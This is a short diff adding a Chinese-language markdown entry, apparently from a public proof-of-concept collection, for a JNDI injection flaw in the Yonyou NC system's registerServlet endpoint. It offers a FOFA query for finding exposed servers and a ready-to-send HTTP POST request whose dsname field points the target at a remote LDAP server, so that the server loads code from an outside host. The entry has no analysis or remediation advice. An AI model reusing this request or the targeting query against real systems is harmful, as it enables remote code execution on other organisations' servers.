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+## 用友NC系统registerServlet接口存在JNDI注入漏洞
+
+## fofa
+```
+body="Client/Uclient/UClient.dmg"
+```
+
+
+## poc
+```
+POST /portal/registerServlet HTTP/1.1
+Host: 192.168.63.129:8088
+User-Agent: Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 68
+
+type=1&dsname=ldap://172.17.176.1:8085/blvVEcJU1
+```
+
+![image](https://github.com/wy876/POC/assets/139549762/1aac8d1d-b2c5-4f2d-af47-97c363a59274)
+
+![image](https://github.com/wy876/POC/assets/139549762/e7c8e733-01fc-468b-9acc-b4de63428cdc)